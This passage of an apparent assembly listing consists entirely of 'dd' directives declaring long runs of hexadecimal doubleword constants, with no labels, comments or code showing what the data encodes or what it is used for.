		dd 0BD77B81Ch, 0D164008Eh, 0CE0217E8h, 35007C1Ah, 0C1AD1F7Ah
		dd 1C33C4CDh, 806CB9EDh, 0A8896812h, 0FA05AF1Bh, 0C13D6650h
		dd 21EED681h, 386A11F0h, 620BB6C8h, 59072D95h, 2338ECF6h
		dd 8C26D600h, 8FF315CBh, 18ED60ABh, 56CCFC3h, 9D07887Eh
		dd 70D33C48h, 0C9E65CE0h, 4D40002Fh, 7A1354E4h,	2B00F52Dh
		dd 53F74A6Eh
		dd 3C165A57h, 0A00F4F8h, 5DF274D8h, 0B11CA275h,	0B409DD4h
		dd 55074440h, 70BC0008h, 145AED8Fh, 0CB0776DEh,	0BE0C73D0h
		dd 9BF8F4B0h, 0A59800B3h, 0C066DD9Fh, 3D0316ABh, 5CFD6A70h
		dd 86D88890h, 0FA7800FBh, 0F5CEF39Ch, 0D5A0A757h, 7D0E5892h
		dd 603A3B9Ah, 0CEBC1B2Dh, 68110075h, 0DCC19E5Bh, 0B700A467h
		dd 0A2B199CAh, 17C610Eh, 38EFB4E6h, 0F01B6A82h,	0C103589Bh
		dd 63F9047Eh, 2C400911h, 30128A9h, 30ED43E3h, 2660AFE1h
		dd 2EFB4C82h, 88E201FFh, 28DC0302h, 0CC16E54Ah,	0F9005D92h
		dd 50D2DD80h, 0F39EBh, 31BCACD8h, 4CA53C7h, 94110100h
		dd 100D6593h, 5E49131Bh, 5F4100DBh, 0A308D56Fh,	3DA13A00h
		dd 2DC29A37h, 1F057F29h, 85B7CCACh, 0C0700B31h,	0EBFBAFA7h
		dd 22FE7C70h, 0B57F6100h, 0C2382A13h, 7C19854h,	0D26BD9BEh
		dd 0A3B4503Bh, 0FC00D087h, 3120261Bh, 3281A89h,	6D298491h
		dd 4BE8ED51h, 5D3E8727h, 0E7BA285Eh, 7D02E071h,	0A8A592AAh
		dd 5A6840E6h, 0AC693D27h, 0A4AE1701h, 0EC8CBDD8h, 180EB9E4h
		dd 60DB6B2Dh, 122BBA10h, 0C76F0737h, 0F3B51C29h, 90882C19h
		dd 4D002560h, 0D8151389h, 2479044Ah, 83987263h,	5D204C61h
		dd 0C06B7000h, 0A8CA81D3h, 7ACD0FD2h, 0D187E7CCh, 0C0B5C7B0h
		dd 0EBE97EBCh, 0A556090h, 3830B61Ch, 0DABE0040h, 50E1EE10h
		dd 6C05A54Eh, 2962C8F9h, 85F8181Fh, 687909CAh, 0B2F14407h
		dd 3CDD486Ch, 863FEB26h, 7EA91Fh, 0AC4AD72Fh, 571C3E65h
		dd 0F3188019h, 3DA1050h, 864E1C09h, 61291FE2h, 4700A0EDh
		dd 0AE280972h, 0A0FE007Ch, 0BBDCC75Ch, 0A802BE67h, 24CAE0EEh
		dd 0F94BC02Dh, 0ED4C008Bh, 0AC182C3h, 8D00E739h, 3E872FE0h
		dd 90EB18h, 6CDD7E13h, 586BE6FEh, 5D751DF8h, 0D9F85200h
		dd 6ECFB926h, 0A95A00D1h, 1CD59855h, 187F895Dh,	0C828DB00h
		dd 0E742A713h, 0BCA9007Ah, 2CAB0EC1h, 3AF6A3D5h, 39EDD400h
		dd 3CB75568h, 0CD33006Eh, 0E71B258Bh, 0AB00D3DAh, 75697106h
		dd 29260D4h, 61E91D8Ah,	0E4837FECh, 10D8DA54h, 0E2517AAEh
		dd 0FDB2F0D4h, 9D2EB300h, 0CC722159h, 0E57DEFh,	74F25694h
		dd 1EEA04D3h, 5F05F900h, 0C9332EA0h, 0F0510312h, 3465755Eh
		dd 6E4B2CC0h, 63E67A0Fh, 97B885A7h, 0CBFBA80h, 1BD20478h
		dd 80C147AEh, 5D09C5E0h, 7EEAFC02h, 40CB880Fh, 0E46C87F8h
		dd 0EF420EB2h, 803D9F76h, 8FAB12EBh, 7000ED7h, 85AADDFh
		dd 38617B4Fh, 0BE5C94F9h, 44FEBB00h, 0C0DF80Eh,	1AD6580Bh
		dd 0DF31803Bh, 5C460FF7h, 0BF404DC1h, 4B78004Ah, 0C75E3516h
		dd 1F1FE0C9h, 2DF5A68h,	52DE0C9Dh, 0E433B46h, 0D9120010h
		dd 815A6D9Dh, 8A005C98h, 0F2EBDDC9h, 93E58Fh, 0E2223731h
		dd 0CCDAC745h, 0FDC1AE00h, 3F851ECFh, 37530063h, 709C23Ch
		dd 600CDFFh, 0B07D9ED6h, 0EBC714h, 0CC01DB4Ch, 29F65D4Ah
		dd 926D1A09h, 0ECAC02E8h, 0AEA08736h, 0B1FE2E80h, 0FFCB07B3h
		dd 86ABF5EAh, 0BF243899h, 2500B8F2h, 90A8043Dh,	0F54C00E1h
		dd 0D4E0AEA9h, 53005F9Fh, 0DF6B7AFFh, 0C31EE9h,	0A2D2DC3Bh
		dd 0F47D7C76h, 276EBC00h, 1662E31Ah, 73F53E96h,	0C659158Fh
		dd 1500ACA9h, 0F63E91ADh, 0C7D53D0Ah, 0BA80E816h, 5097E118h
		dd 11650002h, 5D55041Dh, 0A7008359h, 0C01E38FBh, 18D17D6Ch
		dd 39C71210h, 0F00062DCh, 9B2B190Bh, 8891EEh, 0B0DA84B9h
		dd 427A0DCAh, 81A0070Eh, 0F53CA0FBh, 1FDA72Fh, 0FE50BD4Bh
		dd 40EBFA27h, 0BA28CA80h, 380025FCh, 8A97D4E9h,	49F934B8h
		dd 738F812h, 408CC49Dh,	0C6E70B59h, 9500AAE1h, 0AF034CB2h
		dd 779AB0h, 5A90F949h, 0F60E8D8Ch, 40E6AC00h, 2E3FEE5h
		dd 9D4800FBh, 0B99CAB3Bh, 0C10017E9h, 4EB645D1h, 7DE7413h
		dd 7368BC12h, 48802903h, 42449D95h, 9EE2F01h, 0E5B85C6Bh
		dd 0BF23EC50h, 0C8AF1817h, 7BC1A5Ah, 3D025100h,	9C4D5F64h
		dd 603200BBh, 2BA863B4h, 9917B22Ch, 4C03E769h, 0B0B7A253h
		dd 13275F62h, 40A61576h, 0DC09768h, 854CDCFh, 0A2051CB4h
		dd 0BD8205B0h, 0E0329CC2h, 0FD7E58h, 106E460Dh,	11E1413Fh
		dd 0DD0012E4h, 0F502BAAEh, 687754h, 186B2688h, 0FDDFCDA8h
		dd 0F4E72100h, 608A3D13h, 2C553915h, 796DEF80h,	83A5E285h
		dd 0BB288700h, 0E7360A34h, 0D3C10011h, 0FFF4E677h, 43770537h
		dd 21F3F900h, 0EDEBD40Ch, 108B04Fh, 3C1EAF5Dh, 6035B6BBh
		dd 0DD0CFF90h, 0E13BB131h, 9C92001Fh, 0C91017D4h, 0CC003A4Ah
		dd 27B11850h, 5D24F4h, 0F95767F3h, 89A5E32Ah, 0DA007677h
		dd 21587778h, 1C87237Dh, 406A7C35h, 69BCFD4Eh, 8B6FA25Dh
		dd 0A547BEA0h, 0EF604F2Ah, 0C08ADBE3h, 0FA079F18h, 277088C2h
		dd 39527001h, 0FE2B24A6h, 38EC37CCh, 7B609Bh, 67253CA0h
		dd 82E8696Ch, 5D00D572h, 0D1F42FD7h, 59C91676h,	220390E4h
		dd 3528051h, 349E4000h,	0A48E713h, 0FBB80037h, 19BF6B17h
		dd 0CB07AFE0h, 0B2B95377h, 0B3B40751h, 268DF9F4h, 602199h
		dd 1D047C0Dh, 10C022ECh, 0B1923723h, 73280CA7h,	0FF297B11h
		dd 0BEE84309h, 0B0182031h, 3B387CC5h, 9C981890h, 4F70296Ch
		dd 94CE600h, 0C8A5121Eh, 9A1A0084h, 6DF2E860h, 410092A4h
		dd 0CA32E927h, 0C856CBh, 5BB22A7Ch, 0FBB317C5h,	9BED9100h
		dd 113BCF4Fh, 1938003Eh, 44F37052h, 13002F30h, 0A60CC82Bh
		dd 3BEDAE07h, 0CA8115CDh, 2F979C21h, 4B4080B0h,	0A3099A23h
		dd 8010DDB5h, 116A15B1h, 5800070Dh, 0FC2CF6A1h,	788FE641h
		dd 9CC10090h, 9A3BA708h, 0A6038567h, 3E51AA73h,	8DBAB887h
		dd 1714002Ah, 89029AC3h, 38705935h, 0C5FCDB0Fh,	0ADF340EAh
		dd 681156h, 9BA848B6h, 0D0B41DCFh, 427B1200h, 4DCC1B71h
		dd 8D71ECh, 97C8F28Bh, 0F3DEDDEEh, 0A2984A1Dh, 203DCA02h
		dd 8EB0A0C4h, 0CF2F21h,	5B865DCEh, 0FF97249h, 0C5544F00h
		dd 622683C7h, 1892EA9Ch, 1ACE1F5Eh, 0B2254AA2h,	62B420A8h
		dd 5CC2E8AFh, 0CE032D26h, 5BC7539Eh, 0CFC33FC0h, 0E7F3C73h
		dd 516BF04h, 98C7A954h,	6DB2C4D0h, 7E5700EAh, 8B96E7BAh
		dd 4A74D5FDh, 89F14300h, 0C15CAA54h, 1AD8177Ah,	12EE00D2h
		dd 0E9286670h, 5EE67900h, 4404CD03h, 78B10069h,	94A19C52h
		dd 0DC006F01h, 2154F940h, 31145BCh, 83D6BDBFh, 0D188805Fh
		dd 0F407758Ch, 63943FE8h, 0CC4E99D0h, 0E5821C88h, 0C514070h
		dd 8FB0BBE4h, 0DC500526h, 46924981h, 9C60E01Bh,	0EFB5008Dh
		dd 0C13D3847h, 0A704FB43h, 0AB0445F5h, 0D4BD80A2h, 0ED04C872h
		dd 7FE1495Ch, 794BE4C0h, 44889466h, 27983253h, 0B4CD41C0h
		dd 0E901399h, 343EDA10h, 8B5440E1h, 0CCACEC6Eh,	263F6200h
		dd 0BEA91063h, 7CCD188Dh, 0D3C839EDh, 0C9216E0Ch, 0F0197173h
		dd 0E0A94199h, 909CA49h, 40CFE1E3h, 12760E9Ch, 913D2696h
		dd 40366EBCh, 9DA4718h,	0A274287Ch, 32003F75h, 7B7F70E9h
		dd 0A17326h, 5B62AF98h,	94ECAD97h, 4146D3Fh, 228BFDAh
		dd 0AB0080A3h, 0CFD73289h, 0E10033BAh, 7A13265Ah, 3CD66A23h
		dd 0A29E3A92h, 8811C17Ch, 565C4CE0h, 485C894h, 56A61385h
		dd 0BDB4F820h, 9F801DD7h, 9B7B03DAh, 7A0A221h, 4BE031A7h
		dd 3900EAFAh, 0F411577h, 16E7CE3Dh, 1E284AD2h, 0CAB20082h
		dd 0F7F9F025h, 1C25D890h, 7644A7BEh, 12B06110h,	354A1D51h
		dd 0CA948F1Dh, 1E00A7EEh, 97D9DEA4h, 0E25D20C0h, 53D81BF8h
		dd 88220BFh, 0F81B97C9h
		dd 80D461C6h, 0B218E62Fh, 0FCE9A385h, 156401F6h, 20091A4Eh
		dd 82EFF26h, 9D8008C1h,	972C640Eh, 665809ACh, 4B83F23Ch
		dd 0CAC0FB03h, 6514FCB7h, 9FA04A63h, 90B66A00h,	0CEF6AEh
		dd 3D165D0Dh, 343C7113h, 0BC00B498h, 0AE638135h, 749DA618h
		dd 58480FD3h, 8383343Fh, 7EF8BAD5h, 0BD075E35h,	4D614098h
		dd 0DDE7EAB1h, 0F3283AF7h, 7ECDA20Ch, 75762111h, 67935B01h
		dd 2FFB6813h, 641C088Ch, 8C40DA20h, 83BE00D4h, 0EA3EB644h
		dd 1407CD72h, 0EC1135C9h, 63809Ch, 9BB55BDFh, 0F015296Ch
		dd 0E5097463h, 0FF203933h, 0C77FB503h, 50EF8919h, 0B069779h
		dd 0E113851Eh, 72D01883h, 0C7100011h, 2B1FD268h, 0D30184ECh
		dd 0F270AF9Eh, 6048A463h, 2389EC97h, 22113793h,	7E6F3C00h
		dd 16F30CD8h, 875E3101h, 6273EF76h, 0FEB79C50h,	0C836009Fh
		dd 69DD213Bh, 4200D4BCh, 0A8B53527h, 99084Ch, 1D2DDED9h
		dd 6AD2766Bh, 0D789AF00h, 651BC406h, 79511B64h,	6BF3E9F5h
		dd 20990FC1h, 307DE33h,	0ED0EABC8h, 88D4C1BFh, 0D8834F3Dh
		dd 982F016h, 78E3F003h,	0E0BBFE45h, 0AD3C9AAh, 0F37ACB76h
		dd 800F11B4h, 6C89B585h, 0DC458C39h, 5FC86FF9h,	0A54E07DDh
		dd 118E782h, 4084F3C7h,	721278ACh, 1A813180h, 383F578Ch
		dd 0B0E1E640h, 0FD129A00h, 35C0F34Fh, 6F9CE850h, 0E9202080h
		dd 8F0339B0h, 81890A38h, 1CE53B3Ah, 0A852CC52h,	59CB063h
		dd 3065F866h, 4321F078h, 0E70180A0h, 74C9CBC6h,	898B3DEh
		dd 0A83A214Ah, 2E18A3B8h, 8479AC4Ch, 20240FABh,	61821C50h
		dd 4875CDh, 67076D7Dh, 0AFF3CE2Dh, 0FC5C45C5h, 410D39C0h
		dd 557269h, 6BE9E6C3h, 357C0537h, 0E31DB601h, 337401DBh
		dd 88BD7987h, 609250F2h, 0C50011D1h, 0EBE67BC4h, 2AAC6506h
		dd 5B4769Dh, 0F26B239Fh, 78478057h, 94A8193Fh, 9B54A616h
		dd 0C001AADCh, 0BF476FAFh, 0F0590AEFh, 0DD22FC03h, 6879C801h
		dd 0BA006C6Ah, 8019C691h, 2C1017E9h, 7CC0B7C1h,	6AA4A113h
		dd 80089918h, 0CFA3C6E2h, 0A1A505F1h, 0F8043B80h, 5D00271Ah
		dd 28531DFBh, 0D0CACE0Ch, 1C9A094h, 3AD4F295h, 47499C25h
		dd 0B487C0DCh, 0BD120565h, 5849E278h, 73142140h, 0D4256AFFh
		dd 6DC5B817h, 3223502Bh, 82ACCB01h, 0A540502Dh,	194FDADDh
		dd 5089FAEAh, 89A1863h,	0BBC6E180h, 3C4048C4h, 38B480A2h
		dd 8AF1D600h, 0CE3E98CAh, 3B9C03AAh, 2E6C4770h,	0E0053383h
		dd 0A0D892F5h, 0AB3F8001h, 4980C5F4h, 3B4849DEh, 0CF06E941h
		dd 0C73C7A96h, 0B14C2428h, 26DF8048h, 0C539504h, 9402E900h
		dd 7FAAB591h, 0A0A2061Dh, 51D0D519h, 66766324h,	0CD784318h
		dd 8CF0207Ah, 190BECA1h, 109DB5CCh, 0C814596Ch,	6BB182E6h
		dd 7B6024B5h, 0BF013BF2h, 700F4A06h, 2834505Ah,	0D1B89161h
		dd 15A1847h, 64FF8AE5h,	0F0328498h, 0C23068C6h,	0C8BE584Ch
		dd 58F848B6h, 0B4EA6406h, 0DF0161E3h, 0FF7E4178h, 2094E2B2h
		dd 0AE00E08Ah, 0CB5F286Bh, 65009F38h, 0DB68920Ah, 14EA0EA0h
		dd 907D5190h, 0E0940292h, 70CB6B64h, 0DEDB61E0h, 12C7F303h
		dd 0E4860E23h, 14F4A88Ch, 0A8F0CC2Ch, 0CF7A9702h, 0D0844868h
		dd 20A84FABh, 0F28125F9h, 0D79D3D13h, 0DADC2080h, 0E43A5141h
		dd 450EADE6h, 0F87EEF79h, 136C74B8h, 23E71469h,	0B09382E4h
		dd 9791F9D0h, 7798E21Ah, 10206080h, 18D50084h, 416C7F63h
		dd 883F5115h, 0E02A2605h, 0E171CD1Fh, 0B433F36Dh, 2F30ADA2h
		dd 0E6F81912h, 0E8DD91F2h, 3707669Eh, 946BB2E4h, 0D93967h
		dd 131FFB5Ah, 5CF81921h, 487530AEh, 0B004E238h,	50051299h
		dd 0FA20A432h, 6F1B10Ah, 4CAA8208h, 0EA1AE891h,	87C97FBEh
		dd 18EDB0A4h, 9078A012h, 24253E94h, 84706448h, 1ABF4AAh
		dd 0E742676h, 11DC18A6h, 0C2728EA5h, 315F9386h,	8A20174Fh
		dd 4CFEDC7Eh, 512E8BF0h, 807135E0h, 90BE5B74h, 7B52C115h
		dd 2DE300B4h, 70C6E060h, 0C451F7B2h, 8114F192h,	155DACh
		dd 283C5960h, 0E809413h, 708F189Fh, 28264BC0h, 0B8B833ECh
		dd 2940E820h, 2284B2EAh, 0BEF838h, 22793874h, 0C9421973h
		dd 99D53200h, 0BD33FA7Dh, 0DB6905B2h, 0CE35D45Fh, 0C02888BCh
		dd 4B1C51E0h, 951C52FAh, 6D051741h, 88E91CEh, 2DC048C8h
		dd 1ADF27Ah, 4986531h, 60EB3C94h, 15203648h, 68781485h
		dd 0CB188425h, 58A8914Dh, 10502400h, 1402D07Dh,	0B9F55818h
		dd 0ACCCAA0Ah, 3B9D1DF8h, 644850h, 3C93EE7Ah, 0CFC65DF7h
		dd 52C06C0Eh, 0B8BE842Bh, 0FC59E090h, 315F000Dh, 74F33282h
		dd 5432CC91h, 60E44080h, 0B50CE98h, 1685473Dh, 33E13482h
		dd 82F25706h, 59DB00A8h, 1C2E8BA4h, 6934A3Dh, 8087971Eh
		dd 0C1AAEB00h, 2ABE76ECh, 98FB2461h, 4E467448h,	0C8FE4600h
		dd 93AA27D5h, 18F46C00h, 907919DFh, 0E840EBB4h,	0A09EF0B2h
		dd 24167088h, 448025E4h, 0B07363A8h, 8C97935Dh,	5404444h
		dd 740E7E8Bh, 8EA840F7h, 667D495Eh, 0F0CA4525h,	4CB77AAEh
		dd 6A0E4474h, 0E040EBC7h, 16C98020h, 9C907492h,	98779820h
		dd 80707280h, 59CEEF78h, 24A8B463h, 5340B0E6h, 1CA4640Ah
		dd 2ECD6570h, 8098497Ch, 700F708h, 0F9956F32h, 1DF1EDBDh
		dd 47C74C96h, 79B404AAh, 4E27D401h, 3C082D7Ch, 53A6009Fh
		dd 78DEFEFAh, 0E861022Fh, 0D02D0C6Dh, 0D4E60848h, 6CB98812h
		dd 306E5092h, 9C08B0E3h, 64500D12h, 0C0140C8h, 12C0BB1h
		dd 2B94DD7Bh, 0F82FD4B0h, 0E4984DC2h, 8796061Ah, 0C1FC60F9h
		dd 73F6060Ch, 19187051h, 0F811EA24h, 7C9D0449h,	30057CC8h
		dd 51A82664h, 98ABF4DFh, 0FAD0BBE8h, 0B002F04Ah, 239F580h
		dd 0A740C116h, 0A4B14AC2h, 85151039h, 44925C76h, 3844BC3Ch
		dd 0AE742400h, 103BC118h, 98D8D468h, 357B410h, 0F95AB297h
		dd 0EF900F49h, 0CF79BDDh, 80201447h, 63E25F05h,	20383C05h
		dd 864AFAFFh, 0E900A4A6h, 686C282Eh, 20ECEECh, 42AD523Ch
		dd 6065F282h, 9F604EE4h, 0D5002697h, 7691B323h,	955175h
		dd 18C1174Eh, 364FEF3h,	93B2D60Ch, 0B938FAh, 794410CDh
		dd 0B38CCB6Ah, 4A16A100h, 91D46177h, 0BC201B4h,	0E0C954Bh
		dd 0B9E9FCA2h, 0DCA4DA00h, 769A7B04h, 77B80072h, 17EF46C2h
		dd 0E90035DDh, 0F141D14Ah, 8D58D9h, 0B49B8BFFh,	0B3557016h
		dd 0B033Dh, 0B1DA837Ah,	179E71h, 2733D178h, 703AF9E4h
		dd 0C0D481Ch, 1B14BB80h, 51359Ah, 0D5E8A54Ch, 27E00868h
		dd 0E380D21Dh, 60A4B08Fh, 1FEC53Bh, 5C071E4Eh, 271E878Ch
		dd 0E367D0ADh, 337E8326h, 891F1C00h, 29EA50A7h,	0AFE23E43h
		dd 0DB2A8202h, 0FD4885h, 0F4D619DEh, 0E05C003Ah, 0FAD11740h
		dd 6E00E64Dh, 7049F57Ah, 3C383h, 0A01ABB23h, 5647DB6Ah
		dd 133F82B0h, 55F3800Ch, 11B01C85h, 0AFE803EAh,	3A989C26h
		dd 7C381900h, 0A3A94AD7h, 5D937665h, 2600C8C6h,	0FEC26DF3h
		dd 9E004C04h, 0FD4EB005h, 987BE0h, 28D93361h, 0A47668FBh
		dd 36AEA200h, 65DD0A4Dh, 0AFE40411h, 0D05F2912h, 73B26C38h
		dd 3BEC107h, 0CC504A22h, 5D59C4h, 486EFA8Fh, 4BAD3B93h
		dd 17746576h, 0F637BF00h, 2CB3DC2Eh, 63B100F8h,	9F967008h
		dd 0D600795Eh, 358936AFh, 0F7BB07h, 0ADDB6641h,	7C24DDEDh
		dd 0B6D18403h, 0A8CFA043h, 0C15439h, 20B02291h,	8BA573D8h
		dd 803A2C39h, 5B9E1C8Eh, 3CC35Dh, 0FFD8F70Dh, 14EBF59Ch
		dd 410F1500h, 0B36DA4B8h
		dd 0E2490028h, 33732F51h, 9C0038A9h, 0BC45C9F7h, 822E34h
		dd 1FFCC79Dh, 73EFB88Ah, 15118D09h, 5609F4h, 74B4BCF0h
		dd 18F70217h, 4FA212B9h, 98F188h, 0DD3396D6h, 0D0544E23h
		dd 0F30014C4h, 48DED936h, 28195D9Ah, 0A1B85B6Fh, 41ED17C0h
		dd 229F0D3h, 5E2A1472h,	393ADAE3h, 37F60380h, 0FA3D76BFh
		dd 0D08939h, 16F4916Fh,	0D8AFE7h, 0B2793067h, 7048FD21h
		dd 3F006EECh, 0A46D8477h, 4445837h, 65C710E5h, 0C518D06Ah
		dd 960E41D2h, 9D846Dh, 0E3DA270Eh, 154097C1h, 7B004B40h
		dd 0AB13B3CDh, 1F902Ah,	991DE7A0h, 0D08857F8h, 0F202A878h
		dd 0F9B3C532h, 3530484Bh, 0C9730045h, 91888085h, 0E4000416h
		dd 0F74FFC1Ah, 0F6ADDC2Ah, 0AC353F8Ah, 0CE730200h, 0C711085Bh
		dd 0F0413626h, 2BD2D080h, 38AFE90h, 0B506A489h,	0B6C09642h
		dd 5402B0A9h, 6BC759DAh, 63B8403Bh, 0B42B00CAh,	0B9481C8Fh
		dd 39009E6Dh, 6A0EFF1Bh, 51FBB5h, 0D30A38F7h, 0B2CA30A5h
		dd 811A040Eh, 403EEF4Eh, 8253C172h, 7C960049h, 0FD8E3C0Bh
		dd 0EB48EF99h, 3EF00F3Fh, 47007C50h, 9B14CBF5h,	0A223000Ch
		dd 0B8DA577Dh, 0ED06EE63h, 9F6D4F90h, 5F8D0011h, 99A3EBD5h
		dd 0D71ED141h, 0AC0458Bh, 0FB58A720h, 3FAB30AFh, 2BF20406h
		dd 0EB602900h, 0C8B8784Fh, 63860054h, 0E80150CBh, 0C30EF747h
		dd 0F3FEA1B9h, 1C9230Eh, 7B5EABAEh, 0F54E9C40h,	5C505CE5h
		dd 80A750h, 5CAD0B4Dh, 72234A75h, 0DD6D6A00h, 0A3020804h
		dd 937854h, 11E09655h, 0B038018Eh, 0B5768900h, 5D2431Dh
		dd 79BD0050h, 83EE5E75h, 0A2E6A3B6h, 0F9371E01h, 2BD4B27Dh
		dd 8B21FCh, 7387FD5h, 5B8E10A6h, 1F375407h, 4FB37694h
		dd 6274E042h, 164F6CEh,	0BC19C4D9h, 407897D0h, 0F20258F6h
		dd 416BAF8h, 5840D812h,	747241D4h, 0E0B10A19h, 0F83C22h
		dd 0B8E7182Eh, 9F48401Ch, 6F2D003Ch, 0C26A8127h, 0C1DD00AFh
		dd 0CC546C2Ch, 17F85E7h, 7C304800h, 0A8ECC40Ch,	68B609CFh
		dd 5C20DF6Ch, 9C9814DBh, 0C6032892h, 93807ECFh,	73210357h
		dd 0F12025BCh, 4B689918h, 0A12AB4h, 0BF9310ECh,	0F618B8F2h
		dd 0EA430A00h, 7A7FF586h, 18397C4Ah, 4EB61A69h,	2900885Ch
		dd 0BDC51371h, 38511Eh,	0DF426B1h, 0AFA29584h, 0F8002D7Eh
		dd 639A97Eh, 0B252A5h, 9FA03751h, 7C3E714Ch, 62694009h
		dd 0DE1027CDh, 0FF45823h, 0E02A6106h, 7FB15D60h, 0EE009FBFh
		dd 0B0314DBAh, 2E232774h, 112097h, 8671D463h, 961D1CA0h
		dd 530015A3h, 0A93430A4h, 1DB0090Bh, 0D00E74CCh, 0BE3F87FEh
		dd 3840105Ah, 0AE006648h, 1694495Dh, 76F815h, 10C9965Eh
		dd 52FBFAF3h, 0C6299200h, 0EC4DDED2h, 802500D3h, 0EDCA1995h
		dd 3400465Fh, 87CD5450h, 21BCDCh, 7396A79Bh, 32C34FECh
		dd 587B4500h, 0AB40F81Fh, 9A721D51h, 0E92FC05Bh, 2E8A4D9Fh
		dd 89E84700h, 0BE5D43ECh, 0A0100051h, 0D16602B8h, 6E00089Fh
		dd 3A4AE26Ch, 0FC1AFC8Fh, 976F0E17h, 0E6C0F7AEh, 2FF6FA87h
		dd 0D5B4703h, 85A79F68h, 2907F8C0h, 16370050h, 8F876521h
		dd 1100462Eh, 9C89CACCh, 22AFFB9h, 0E7552CA7h, 5DC11305h
		dd 0B851601Dh, 0EC169F00h, 0B75C7968h, 28C89830h, 8AB2B9h
		dd 4C23E36Eh, 0CF70F838h, 0C244D300h, 0A5F06DABh, 45B107F3h
		dd 5039BA5Ch, 80E22DE9h, 66C38203h, 801EE67Dh, 162293D9h
		dd 6E11E1h, 0D4D2F57Ch,	0DD60D86Fh, 67CF6949h, 40795A25h
		dd 0F46B7B54h, 373E83Ch, 0FF0BAEFAh, 12B6EDh, 778DBBE8h
		dd 207F0058h, 89B17010h, 7300B48Ch, 2464FB27h, 0FC18B8Ah
		dd 32D92FA2h, 6012A880h, 717A8681h, 0F06092Eh, 0C969A000h
		dd 205EB4h, 0F302F587h,	9B506DB2h, 1C93640Dh, 0A4500274h
		dd 94F304FCh, 917200C8h, 996C8814h, 0E0A0E7E9h,	10A0B0FBh
		dd 7500B8BEh, 0DCC7DB7Ch, 3AC80BC6h, 9187B4F8h,	0C9E37913h
		dd 8F18A988h, 9FFF74E1h, 25EF1DC8h, 5D3FAC02h, 140CBCC2h
		dd 0B83CE571h, 131F0AADh, 7645245Dh, 42804838h,	84E60074h
		dd 61D489BDh, 1907295h,	28014987h, 0F0C03EECh, 7A0EC21Fh
		dd 7DF8B5ACh, 9113A840h, 24FA72Bh, 2C9B625Ch, 8B60AD05h
		dd 0DE033130h, 0E07C69D4h, 0EC3F8826h, 1EFFFE60h, 2B53C05h
		dd 9FC2C8B1h, 0F5DA99E0h, 77BAB3Fh, 0F12AEB33h,	142B1730h
		dd 0C9E8137Eh, 0B3DB0025h, 29ED3E20h, 0E60092E8h, 0A91D662Fh
		dd 30DB795h, 45563CAh, 0D1988EF1h, 0D40026EBh, 0B792FC30h
		dd 1FFE1249h, 85AB0718h, 0C3DD9CC2h, 0F7D7411Ch, 53A660A4h
		dd 0E2050A10h, 0D2C0589Ah, 74B9D800h, 5DE76F9Fh, 61008823h
		dd 55DD7615h, 0A276D657h, 0C0141900h, 9635582Bh, 132C0095h
		dd 24CA69AFh, 0FCEA5C64h, 0F9411C00h, 0BC5BB749h, 3B1B3904h
		dd 7A1AB400h, 0E176C1C5h, 0F455D000h, 49B678B2h, 45BE005Bh
		dd 2FCCD404h, 0FAA0F991h, 55003CE9h, 0AD714DFCh, 98BFC944h
		dd 935C0064h, 0CF10522Dh, 0EB0054E6h, 0AA468725h, 7CEA02h
		dd 0F54CCB65h, 0F01B4363h, 918D1D00h, 86B9E02Ch, 953C0040h
		dd 705FA498h, 3D3F7F30h, 16158396h, 0BBA86DFEh,	0A5D48052h
		dd 397A79h, 9D3A5DB3h, 0A17F2995h, 846FE900h, 0BCCE0313h
		dd 74650B5Bh, 4800DFA7h, 0EF10B135h, 9A2F3Bh, 9395D11Ah
		dd 0E2E9488h, 75C44C70h, 53683840h, 1212AF0Ah, 0DC826CA7h
		dd 3088A002h, 0C23AB188h, 3319AD50h, 0A4826640h, 126F6C13h
		dd 74710080h, 79880097h, 84BD2FD7h, 0B676E89Dh,	0AA769900h
		dd 0EDCD7B1Ch, 23092C74h, 0D600BFACh, 847CA01Eh, 0AF0EB23Dh
		dd 2BEE881Ah, 46A820F8h, 60AE0C51h, 0E65E6615h,	0C400C7BFh
		dd 0A8BC7D08h, 72D721Ah, 1282281h, 195030DFh, 0D10054C1h
		dd 9314A1A5h, 0BB7A64h,	2007F1B0h, 1EFD0E85h, 23A6D800h
		dd 0E57D5140h, 41D90584h, 0D02B886Ch, 9030DF0Ch, 50DBA100h
		dd 0E98B55E7h, 3EDC0115h, 66AF5997h, 0F444F475h, 80A69A00h
		dd 8A5A498Eh, 0F8D30054h, 9713F75Fh, 0D1006DF9h, 0CF462952h
		dd 19B008h, 2315E8FFh, 798267FBh, 1F008B7Bh, 6A5F136Bh
		dd 0C09CC6h, 32B74F63h,	0B8BD330Bh, 53D50A00h, 740C3FA2h
		dd 0EBA2A6Ch, 3D0B25BCh, 80A65CA5h, 0DF439783h,	18784500h
		dd 231EE161h, 88E29Dh, 0CE2DC5F5h, 593B0E52h, 961C8C9Ch
		dd 8A9110C0h, 487237CAh, 0E9110464h, 0B22C002Fh, 0D250ED77h
		dd 6CC55DA2h, 687E9907h, 0E26F9097h, 0F9A134EFh, 6632CC7Ah
		dd 4901887Fh, 0A172CBD6h, 0E3ECF2E8h, 0C4365DA2h, 1BEA3800h
		dd 21C78F80h, 81A0955Ch, 4B03699Dh, 302084E9h, 637B207Fh
		dd 7C4A8002h, 501A91A5h, 7AFF0CD8h, 9D91A195h, 4B544A00h
		dd 0E34C1AB1h, 0CBB650DCh, 4D900BAh, 0F292601Dh, 0AC004DE8h
		dd 775E6373h, 74E39h, 90A7E4D5h, 172AE95Ah, 0F70F0F79h
		dd 0E0AF6626h, 78BF15BCh, 35E501CDh, 140B1DDAh,	0C43ED92Fh
		dd 0C00048A5h, 646289ADh, 4653EEh, 5ECB494h, 245D0C5Ch
		dd 0C17A4000h, 3D3AD5AAh, 0DF530026h, 0E708B45Bh, 0CF00352Bh
		dd 8810AF3Fh, 0F56D8D1h, 806E9450h, 84D6D460h, 1B001ABCh
		dd 5149D9FCh, 4BF6E2D5h, 0CB6B802h, 40A5CA7Dh, 6D8300FEh
		dd 9AFBA45Fh, 4F00524Ch, 0E6C43194h, 601D9h, 859B0FFh
		dd 3891288Ch, 0C6E1AE00h, 4353805Dh, 470B0098h,	63976ABh
		dd 0BB1EBD22h, 5A85F235h, 8407F48Eh, 0FE50D2CCh, 5A562B78h
		dd 0B4880EDCh, 9A5205C3h
		dd 254F8800h, 40805558h, 7FFB0054h, 365FEE10h, 97007EC9h
		dd 0DDE12C1h, 96CC9447h, 925A0E30h, 13007D6Fh, 95C0564Fh
		dd 7CAFE807h, 0F4909B77h, 250CFAEh, 0F1DB30EBh,	8CE8B5EFh
